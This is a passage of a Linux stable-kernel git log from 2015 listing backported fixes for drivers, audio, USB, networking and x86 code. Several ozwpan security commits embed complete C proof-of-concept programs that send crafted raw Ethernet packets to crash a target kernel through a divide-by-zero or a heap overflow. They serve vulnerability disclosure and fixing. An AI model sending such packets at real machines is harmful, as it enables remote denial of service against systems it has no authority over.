struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; struct oz_elt oz_elt2; struct oz_multiple_fixed oz_multiple_fixed; } __packed packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 0, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 }, .oz_elt2 = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_multiple_fixed) - 3 }, .oz_multiple_fixed = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_USB_ENDPOINT_DATA, .endpoint = 0, .format = OZ_DATA_F_MULTIPLE_FIXED, .unit_size = 1, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld Acked-by: Dan Carpenter Cc: stable Signed-off-by: Greg Kroah-Hartman Signed-off-by: Sasha Levin commit 5fcae12c6f561a1b218f0250f599d12fdd5b6b45 Author: Jason A. Donenfeld Date: Fri May 29 13:07:00 2015 +0200 ozwpan: divide-by-zero leading to panic [ Upstream commit 04bf464a5dfd9ade0dda918e44366c2c61fce80b ] A network supplied parameter was not checked before division, leading to a divide-by-zero. Since this happens in the softirq path, it leads to a crash. A PoC follows below, which requires the ozprotocol.h file from this module. =-=-=-=-=-= #include #include #include #include #include #include #include #include #include #include #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; struct oz_elt oz_elt2; struct oz_multiple_fixed oz_multiple_fixed; } __packed packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 0, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 }, .oz_elt2 = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_multiple_fixed) }, .oz_multiple_fixed = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_USB_ENDPOINT_DATA, .endpoint = 0, .format = OZ_DATA_F_MULTIPLE_FIXED, .unit_size = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld Acked-by: Dan Carpenter Cc: stable Signed-off-by: Greg Kroah-Hartman Signed-off-by: Sasha Levin commit 63f352a237c26bf679a9f73a5e92060bb1f94ef9 Author: Jason A. Donenfeld Date: Fri May 29 13:06:58 2015 +0200 ozwpan: Use proper check to prevent heap overflow [ Upstream commit d114b9fe78c8d6fc6e70808c2092aa307c36dc8e ] Since elt->length is a u8, we can make this variable a u8. Then we can do proper bounds checking more easily. Without this, a potentially negative value is passed to the memcpy inside oz_hcd_get_desc_cnf, resulting in a remotely exploitable heap overflow with network supplied data. This could result in remote code execution. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module. =-=-=-=-=-= #include #include #include #include #include #include #include #include #include #include #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; } __packed connect_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 35, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 } }; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_get_desc_rsp oz_get_desc_rsp; } __packed pwn_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(1) }, .oz_elt = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_get_desc_rsp) - 2 }, .oz_get_desc_rsp = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_GET_DESC_RSP, .req_id = 0, .offset = htole16(0), .total_size = htole16(0), .rcode = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } usleep(300000); if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld Acked-by: Dan Carpenter Cc: stable Signed-off-by: Greg Kroah-Hartman Signed-off-by: Sasha Levin commit 0337f9107a3e845b65a6fe744b446c4b9d7c9f09 Author: James Hogan Date: Thu Jun 4 13:25:27 2015 +0100 MIPS: Fix enabling of DEBUG_STACKOVERFLOW [ Upstream commit 5f35b9cd553fd64415b563497d05a563c988dbd6 ] Commit 334c86c494b9 ("MIPS: IRQ: Add stackoverflow detection") added kernel stack overflow detection, however it only enabled it conditional upon the preprocessor definition DEBUG_STACKOVERFLOW, which is never actually defined. The Kconfig option is called DEBUG_STACKOVERFLOW, which manifests to the preprocessor as CONFIG_DEBUG_STACKOVERFLOW, so switch it to using that definition instead. Fixes: 334c86c494b9 ("MIPS: IRQ: Add stackoverflow detection") Signed-off-by: James Hogan Cc: Ralf Baechle Cc: Adam Jiang Cc: linux-mips@linux-mips.org Cc: # 2.6.37+ Patchwork: http://patchwork.linux-mips.org/patch/10531/ Signed-off-by: Ralf Baechle Signed-off-by: Sasha Levin commit 3705c38daaecc3a6116640e4007361c9dd5f5571 Author: Wang Long Date: Wed Jun 10 08:12:37 2015 +0000 ring-buffer-benchmark: Fix the wrong sched_priority of producer [ Upstream commit 108029323910c5dd1ef8fa2d10da1ce5fbce6e12 ] The producer should be used producer_fifo as its sched_priority, so correct it. Link: http://lkml.kernel.org/r/1433923957-67842-1-git-send-email-long.wanglong@huawei.com Cc: stable@vger.kernel.org # 2.6.33+ Signed-off-by: Wang Long Signed-off-by: Steven Rostedt Signed-off-by: Sasha Levin commit b28283637b3bd5dc31c0995602b86513ebbaeba7 Author: Andy Lutomirski Date: Fri May 22 16:15:47 2015 -0700 x86/asm/irq: Stop relying on magic JMP behavior for early_idt_handlers [ Upstream commit 425be5679fd292a3c36cb1fe423086708a99f11a ] The early_idt_handlers asm code generates an array of entry points spaced nine bytes apart. It's not really clear from that code or from the places that reference it what's going on, and the code only works in the first place because GAS never generates two-byte JMP instructions when jumping to global labels. Clean up the code to generate the correct array stride (member size) explicitly. This should be considerably more robust against screw-ups, as GAS will warn if a .fill directive has a negative count. Using '. =' to advance would have been even more robust (it would generate an actual error if it tried to move backwards), but it would pad with nulls, confusing anyone who tries to disassemble the code. The new scheme should be much clearer to future readers. While we're at it, improve the comments and rename the array and common code. Binutils may start relaxing jumps to non-weak labels. If so, this change will fix our build, and we may need to backport this change. Before, on x86_64: 0000000000000000 : 0: 6a 00 pushq $0x0 2: 6a 00 pushq $0x0 4: e9 00 00 00 00 jmpq 9 5: R_X86_64_PC32 early_idt_handler-0x4 ... 48: 66 90 xchg %ax,%ax 4a: 6a 08 pushq $0x8 4c: e9 00 00 00 00 jmpq 51 4d: R_X86_64_PC32 early_idt_handler-0x4 ... 117: 6a 00 pushq $0x0 119: 6a 1f pushq $0x1f 11b: e9 00 00 00 00 jmpq 120 11c: R_X86_64_PC32 early_idt_handler-0x4 After: 0000000000000000 : 0: 6a 00 pushq $0x0 2: 6a 00 pushq $0x0 4: e9 14 01 00 00 jmpq 11d ... 48: 6a 08 pushq $0x8 4a: e9 d1 00 00 00 jmpq 120 4f: cc int3 50: cc int3 ... 117: 6a 00 pushq $0x0 119: 6a 1f pushq $0x1f 11b: eb 03 jmp 120 11d: cc int3 11e: cc int3 11f: cc int3 Signed-off-by: Andy Lutomirski Acked-by: H. Peter Anvin Cc: Binutils Cc: Borislav Petkov Cc: H.J. Lu Cc: Jan Beulich Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: Link: http://lkml.kernel.org/r/ac027962af343b0c599cbfcf50b945ad2ef3d7a8.1432336324.git.luto@kernel.org Signed-off-by: Ingo Molnar Signed-off-by: Sasha Levin commit 48c250c825010ff84a802b37effad5d7cc0766b8 Author: Patrick Riphagen Date: Tue May 19 10:03:01 2015 +0200 USB: serial: ftdi_sio: Add support for a Motion Tracker Development Board [ Upstream commit 1df5b888f54070a373a73b34488cc78c2365b7b4 ] This adds support for new Xsens device, Motion Tracker Development Board, using Xsens' own Vendor ID Signed-off-by: Patrick Riphagen Cc: stable@vger.kernel.org Signed-off-by: Johan Hovold Signed-off-by: Sasha Levin commit 5fb81f76af2e1341be21d6a109d0664fc8a50524 Author: John D. Blair Date: Thu Jun 4 13:18:19 2015 -0700 USB: cp210x: add ID for HubZ dual ZigBee and Z-Wave dongle [ Upstream commit df72d588c54dad57dabb3cc8a87475d8ed66d806 ] Added the USB serial device ID for the HubZ dual ZigBee and Z-Wave radio dongle. Signed-off-by: John D. Blair Cc: stable Signed-off-by: Johan Hovold Signed-off-by: Sasha Levin commit 10ef07e623da4aa1fffe236ca847e5ac92d52017 Author: Dan Williams Date: Wed Jun 10 23:47:14 2015 -0400 block: fix ext_dev_lock lockdep report [ Upstream commit 4d66e5e9b6d720d8463e11d027bd4ad91c8b1318 ] ================================= [ INFO: inconsistent lock state ] 4.1.0-rc7+ #217 Tainted: G O --------------------------------- inconsistent {SOFTIRQ-ON-W} -> {IN-SOFTIRQ-W} usage. swapper/6/0 [HC0[0]:SC1[1]:HE1:SE0] takes: (ext_devt_lock){+.?...}, at: [] blk_free_devt+0x3c/0x70 {SOFTIRQ-ON-W} state was registered at: [] __lock_acquire+0x461/0x1e70 [] lock_acquire+0xb7/0x290 [] _raw_spin_lock+0x38/0x50 [] blk_alloc_devt+0x6d/0xd0 <-- take the lock in process context [..] [] __lock_acquire+0x3fe/0x1e70 [] ? __lock_acquire+0xe5d/0x1e70 [] lock_acquire+0xb7/0x290 [] ? blk_free_devt+0x3c/0x70 [] _raw_spin_lock+0x38/0x50 [] ? blk_free_devt+0x3c/0x70 [] blk_free_devt+0x3c/0x70 <-- take the lock in softirq [] part_release+0x1c/0x50 [] device_release+0x36/0xb0 [] kobject_cleanup+0x7b/0x1a0 [] kobject_put+0x30/0x70 [] put_device+0x17/0x20 [] delete_partition_rcu_cb+0x16c/0x180 [] ? read_dev_sector+0xa0/0xa0 [] rcu_process_callbacks+0x2ff/0xa90 [] ? rcu_process_callbacks+0x2bf/0xa90 [] __do_softirq+0xde/0x600 Neil sees this in his tests and it also triggers on pmem driver unbind for the libnvdimm tests. This fix is on top of an initial fix by Keith for incorrect usage of mutex_lock() in this path: 2da78092dda1 "block: Fix dev_t minor allocation lifetime". Both this and 2da78092dda1 are candidates for -stable. Fixes: 2da78092dda1 ("block: Fix dev_t minor allocation lifetime") Cc: Cc: Keith Busch Reported-by: NeilBrown Signed-off-by: Dan Williams Signed-off-by: Jens Axboe Signed-off-by: Sasha Levin commit ec5e9c997af5bb8cab9e61bb004c0acc0c5d1c1e Author: Hans de Goede Date: Tue Jun 2 10:40:50 2015 -0700 Input: elantech - fix detection of touchpads where the revision matches a known rate [ Upstream commit 5f0ee9d17aae628b22be86966471db65be21f262 ] Make the check to skip the rate check more lax, so that it applies to all hw_version 4 models. This fixes the touchpad not being detected properly on Asus PU551LA laptops. Cc: stable@vger.kernel.org Reported-and-tested-by: David Zafra Gómez Signed-off-by: Hans de Goede Signed-off-by: Dmitry Torokhov Signed-off-by: Sasha Levin commit e73268af3e137b1f69d0f82d80aa88e0e8c7cbbe Author: Peter Hutterer Date: Mon Jun 8 10:17:32 2015 -0700 Input: synaptics - add min/max quirk for Lenovo S540 [ Upstream commit 7f2ca8b55aeff1fe51ed3570200ef88a96060917 ] https://bugzilla.redhat.com/show_bug.cgi?id=1223051#c2 Cc: stable@vger.kernel.org Tested-by: tommy.gagnes@gmail.com Signed-off-by: Peter Hutterer Signed-off-by: Dmitry Torokhov Signed-off-by: Sasha Levin commit 67939a2624f3df0b8a9c8c1aaf2b9528154eee2b Author: Clemens Ladisch Date: Wed Jun 3 11:36:42 2015 +0200 ALSA: usb-audio: add MAYA44 USB+ mixer control names [ Upstream commit 044bddb9ca8d49edb91bc22b9940a463b0dbb97f ] Add mixer control names for the ESI Maya44 USB+ (which appears to be identical width the AudioTrak Maya44 USB). Reported-by: nightmixes Signed-off-by: Clemens Ladisch Cc: Signed-off-by: Takashi Iwai Signed-off-by: Sasha Levin commit 72ef30462358c0e65939bd4eda894622f8460836 Author: Wolfram Sang Date: Fri May 29 19:50:56 2015 +0900 ALSA: usb-audio: Add mic volume fix quirk for Logitech Quickcam Fusion [ Upstream commit 1ef9f0583514508bc93427106ceef3215e4eb1a5 ] Fix this from the logs: usb 7-1: New USB device found, idVendor=046d, idProduct=08ca ... usb 7-1: Warning! Unlikely big volume range (=3072), cval->res is probably wrong. usb 7-1: [5] FU [Mic Capture Volume] ch = 1, val = 4608/7680/1 Signed-off-by: Wolfram Sang Cc: Signed-off-by: Takashi Iwai Signed-off-by: Sasha Levin commit bd75a44ce17f24160b840aa836955d06a315638b Author: Takashi Iwai Date: Tue Jun 2 19:57:08 2015 +0200 ALSA: hda/realtek - Add a fixup for another Acer Aspire 9420 [ Upstream commit b5d724b1add6eabf3aa7276ab3454ea9f45eebd3 ] Acer Aspire 9420 with ALC883 (1025:0107) needs the fixup for EAPD to make the sound working like other Aspire models. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=94111 Cc: Signed-off-by: Takashi Iwai Signed-off-by: Sasha Levin commit a8492bea3106aebffe1ecf85d2582bfd6649d87e Author: Laura Abbott Date: Thu May 14 11:42:17 2015 -0700 n_tty: Fix auditing support for cannonical mode [ Upstream commit 72586c6061ab8c23ffd9f301ed19782a44ff5f04 ] Commit 32f13521ca68bc624ff6effc77f308a52b038bf0 ("n_tty: Line copy to user buffer in canonical mode") changed cannonical mode copying to use copy_to_user but missed adding the call to the audit framework. Add in the appropriate functions to get audit support. Fixes: 32f13521ca68 ("n_tty: Line copy to user buffer in canonical mode") Reported-by: Miloslav Trmač Signed-off-by: Laura Abbott Reviewed-by: Peter Hurley Cc: stable Signed-off-by: Greg Kroah-Hartman Signed-off-by: Sasha Levin commit cea5254f9ea577360765b808f23703a865154243 Author: Paul Cercueil Date: Fri May 15 17:18:36 2015 +0200 iio: adis16400: Compute the scan mask from channel indices [ Upstream commit c2a8b623a089d52c199e305e7905829907db8ec8 ] We unfortunately can't use ~0UL for the scan mask to indicate that the only valid scan mask is all channels selected. The IIO core needs the exact mask to work correctly and not a super-set of it. So calculate the masked based on the channels that are available for a particular device. Signed-off-by: Paul Cercueil Signed-off-by: Lars-Peter Clausen Fixes: 5eda3550a3cc ("staging:iio:adis16400: Preallocate transfer message") Cc: Signed-off-by: Jonathan Cameron Signed-off-by: Sasha Levin commit 50e5b3c9889d9a966d09892067ab9534060adbe8 Author: Paul Cercueil Date: Fri May 15 17:18:35 2015 +0200 iio: adis16400: Use != channel indices for the two voltage channels [ Upstream commit 7323d59862802ca109451eeda9777024a7625509 ] Previously, the two voltage channels had the same ID, which didn't cause conflicts in sysfs only because one channel is named and the other isn't; this is still violating the spec though, two indexed channels should never have the same index. Signed-off-by: Paul Cercueil Signed-off-by: Lars-Peter Clausen Cc: Signed-off-by: Jonathan Cameron Signed-off-by: Sasha Levin commit e7e6ebe9bb9e59b1249ae621088fde83e913f805 Author: Lars-Peter Clausen Date: Fri May 15 17:18:34 2015 +0200 iio: adis16400: Report pressure channel scale [ Upstream commit 69ca2d771e4e709c5ae1125858e1246e77ef8b86 ] Add the scale for the pressure channel, which is currently missing. Signed-off-by: Lars-Peter Clausen Fixes: 76ada52f7f5d ("iio:adis16400: Add support for the adis16448") Cc: Signed-off-by: Jonathan Cameron Signed-off-by: Sasha Levin commit aa98395504a467f9e8ed8dbe3d1a120182be62bf Author: Christian König Date: Thu May 28 15:51:59 2015 +0200 drm/radeon: partially revert "fix VM_CONTEXT*_PAGE_TABLE_END_ADDR handling" [ Upstream commit 7c0411d2fabc2e2702c9871ffb603e251158b317 ] We have that bug for years and some users report side effects when fixing it on older hardware. So revert it for VM_CONTEXT0_PAGE_TABLE_END_ADDR, but keep it for VM 1-15. Signed-off-by: Christian König CC: stable@vger.kernel.org Signed-off-by: Alex Deucher Signed-off-by: Sasha Levin commit ba6231d22879aed1da503b4af47c23330e022a8b Author: Christian König Date: Tue May 12 14:56:17 2015 +0200 drm/radeon: fix VM_CONTEXT*_PAGE_TABLE_END_ADDR handling [ Upstream commit 607d48063512707a414e346972e2210dc71ab491 ] The mapping range is inclusive between starting and ending addresses. Signed-off-by: Christian König CC: stable@vger.kernel.org Signed-off-by: Alex Deucher Signed-off-by: Sasha Levin commit 0310011d3c4c2a4158d8ad1618f422efac3b7648 Author: David Henningsson Date: Wed May 13 13:28:54 2015 +0200 ALSA: hda - Add Conexant codecs CX20721, CX20722, CX20723 and CX20724 [ Upstream commit 6ffc0898b29a2811a6c0569c5dd9b581980110df ] This patch adds support for Conexant HD Audio codecs CX20721, CX20722, CX20723 and CX20724. Cc: stable@vger.kernel.org BugLink: https://bugs.launchpad.net/bugs/1454656 Signed-off-by: David Henningsson Signed-off-by: Takashi Iwai Signed-off-by: Sasha Levin commit 80a7ae3b2992e3de723a83796b1a05a83650d8ac Author: Junling Zheng Date: Mon Jun 1 09:28:00 2015 +0000 net: socket: Fix the wrong returns for recvmsg and sendmsg [ Upstream commit HEAD ] Based on 08adb7dabd4874cc5666b4490653b26534702ce0 upstream. We found that after v3.10.73, recvmsg might return -EFAULT while -EINVAL was expected. We tested it through the recvmsg01 testcase come from LTP testsuit. It set msg->msg_namelen to -1 and the recvmsg syscall returned errno 14, which is unexpected (errno 22 is expected): recvmsg01 4 TFAIL : invalid socket length ; returned -1 (expected -1), errno 14 (expected 22) Linux mainline has no this bug for commit 08adb7dab fixes it accidentally. However, it is too large and complex to be backported to LTS 3.10. Commit 281c9c36 (net: compat: Update get_compat_msghdr() to match copy_msghdr_from_user() behaviour) made get_compat_msghdr() return error if msg_sys->msg_namelen was negative, which changed the behaviors of recvmsg and sendmsg syscall in a lib32 system: Before commit 281c9c36, get_compat_msghdr() wouldn't fail and it would return -EINVAL in move_addr_to_user() or somewhere if msg_sys->msg_namelen was invalid and then syscall returned -EINVAL, which is correct. And now, when msg_sys->msg_namelen is negative, get_compat_msghdr() will fail and wants to return -EINVAL, however, the outer syscall will return -EFAULT directly, which is unexpected. This patch gets the return value of get_compat_msghdr() as well as copy_msghdr_from_user(), then returns this expected value if get_compat_msghdr() fails. Fixes: 281c9c36 (net: compat: Update get_compat_msghdr() to match copy_msghdr_from_user() behaviour) Signed-off-by: Junling Zheng Signed-off-by: Hanbing Xu Cc: Li Zefan Cc: Al Viro Cc: David Miller Signed-off-by: Greg Kroah-Hartman (cherry picked from commit 5ca74d43d929e6ecaba677a411f0e81371d61f76) Signed-off-by: Sasha Levin commit 9e207f53f3578b7a55bdebaec95cff44279a0a4b Author: Takashi Iwai Date: Mon Apr 27 10:36:11 2015 +0200 ALSA: hda - Fix mute-LED fixed mode [ Upstream commit ee52e56e7b12834476cd0031c5986254ba1b6317 ] The mute-LED mode control has the fixed on/off states that are supposed to remain on/off regardless of the master switch. However, this doesn't work actually because the vmaster hook is called in the vmaster code itself. This patch fixes it by calling the hook indirectly after checking the mute LED mode. Reported-and-tested-by: Pali Rohár Cc: Signed-off-by: Takashi Iwai Signed-off-by: Sasha Levin commit 58528a8141f1012fbed6eaaf27ef4847b64b90e2 Author: Calvin Owens Date: Tue Jan 13 13:16:18 2015 -0800 ksoftirqd: Enable IRQs and call cond_resched() before poking RCU [ Upstream commit 28423ad283d5348793b0c45cc9b1af058e776fd6 ] While debugging an issue with excessive softirq usage, I encountered the following note in commit 3e339b5dae24a706 ("softirq: Use hotplug thread infrastructure"): [ paulmck: Call rcu_note_context_switch() with interrupts enabled. ] ...but despite this note, the patch still calls RCU with IRQs disabled. This seemingly innocuous change caused a significant regression in softirq CPU usage on the sending side of a large TCP transfer (~1 GB/s): when introducing 0.01% packet loss, the softirq usage would jump to around 25%, spiking as high as 50%. Before the change, the usage would never exceed 5%. Moving the call to rcu_note_context_switch() after the cond_sched() call, as it was originally before the hotplug patch, completely eliminated this problem. Signed-off-by: Calvin Owens Cc: stable@vger.kernel.org Signed-off-by: Paul E. McKenney Signed-off-by: Sasha Levin commit cd9d655c85429f37afb1ea3e2f56ff05303509ae Author: Alexey Sokolov Date: Tue Jun 2 11:49:30 2015 +0300 cdc-acm: Add support of ATOL FPrint fiscal printers [ Upstream commit 15bf722e6f6c0b884521a0363204532e849deb7f ] ATOL FPrint fiscal printers require usb_clear_halt to be executed to work properly. Add quirk to fix the issue. Signed-off-by: Alexey Sokolov Cc: stable Signed-off-by: Greg Kroah-Hartman Signed-off-by: Sasha Levin commit 9edf7775b987df05675550bbe56733877ce103a2 Author: Rafał Miłecki Date: Sat Jun 6 22:45:59 2015 +0200 b43: fix support for 14e4:4321 PCI dev with BCM4321 chipset [ Upstream commit 90f91b129810c3f169e443252be30ed7c0130326 ] It seems Broadcom released two devices with conflicting device id. There are for sure 14e4:4321 PCI devices with BCM4321 (N-PHY) chipset, they can be found in routers, e.g. Netgear WNR834Bv2. However, according to Broadcom public sources 0x4321 is also used for 5 GHz BCM4306 (G-PHY). It's unsure if they meant PCI device id, or "virtual" id (from SPROM). To distinguish these devices lets check PHY type (G vs. N). Signed-off-by: Rafał Miłecki Cc: # 3.16+ Signed-off-by: Kalle Valo Signed-off-by: Sasha Levin commit d8497d01b01201261e2f92be7484b3cc6ff73e15 Author: Dmitry Tunin Date: Sat Jun 6 20:29:25 2015 +0300 ath3k: add support of 13d3:3474 AR3012 device [ Upstream commit 0d0cef6183aec0fb6d0c9f00a09ff51ee086bbe2 ] BugLink: https://bugs.launchpad.net/bugs/1427680 This device requires new firmware files AthrBT_0x11020100.dfu and ramps_0x11020100_40.dfu added to /lib/firmware/ar3k/ that are not included in linux-firmware yet. T: Bus=01 Lev=01 Prnt=01 Port=04 Cnt=01 Dev#= 4 Spd=12 MxCh= 0 D: Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs= 1 P: Vendor=13d3 ProdID=3474 Rev=00.01 C: #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA I: If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb I: If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb Signed-off-by: Dmitry Tunin Signed-off-by: Marcel Holtmann Cc: stable@vger.kernel.org Signed-off-by: Sasha Levin commit 8665964068a1764ec6ce29e9704ce3985a9f94d5 Author: Dmitry Tunin Date: Sat Jun 6 20:25:40 2015 +0300 ath3k: Add support of 0489:e076 AR3012 device [ Upstream commit 692c062e7c282164fd7cda68077f79dafd176eaf ] BugLink: https://bugs.launchpad.net/bugs/1462614 This device requires new firmware files AthrBT_0x11020100.dfu and ramps_0x11020100_40.dfu added to /lib/firmware/ar3k/ that are not included in linux-firmware yet. T: Bus=03 Lev=01 Prnt=01 Port=09 Cnt=06 Dev#= 7 Spd=12 MxCh= 0 D: Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs= 1 P: Vendor=0489 